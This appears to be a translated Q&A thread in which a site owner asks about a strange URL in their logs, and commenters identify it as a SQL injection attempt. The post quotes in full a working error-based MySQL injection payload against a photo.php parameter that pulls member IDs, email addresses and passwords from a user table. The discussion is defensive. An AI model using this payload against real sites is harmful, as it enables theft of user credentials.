【发布时间】:2014-03-20 15:28:36
【问题描述】:
我在我的日志中反复看到一个奇怪的 url,我想知道是否有人能够理解这个用户试图做什么。我对 MySQL 的基础知识有点熟悉,但是,我迷失了这个(尤其是 0x7e 部分),并希望防止未来可能出现的漏洞。我已经发现并正在纠正我的脚本中的漏洞,但是我真的很想知道这个人在做什么。您能提供的任何见解将不胜感激。谢谢你。
注意:我将下面的实际数据库和表名替换为 DatabaseName.TableName 以使其更清晰。
这是奇怪的网址:
photo.php?member_id=11616%27+AND+(SELECT+7509+FROM(SELECT+COUNT(*),CONCAT(0x7e,0x7e,0x7e,0x27,(SELECT+CONCAT(MID((IFNULL(CAST( member_id+AS+CHAR),0x20)),1,50),0x3A,MID((IFNULL(CAST(email_address+AS+CHAR),0x20)),1,50),0x3A,MID((IFNULL(CAST(密码+AS+CHAR),0x20)),1,50))+FROM+DatabaseName.TableName+ORDER+BY+member_id+LIMIT+81947,1),0x27,0x7e,FLOOR(RAND(0)*2)) x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)+AND+%27FtCw%27=%27FtCw&name=1392855.jpg
【问题讨论】:
-
0x7E是~的 ASCII 字符代码,0x27是',0x20是空格字符,0x3A是:。见ASCII table。是的,这是一次 SQL 注入尝试。 -
我建议立即禁用此网络应用程序,并且在确定它不会受到攻击之前不要重新打开它。
标签: mysql sql-injection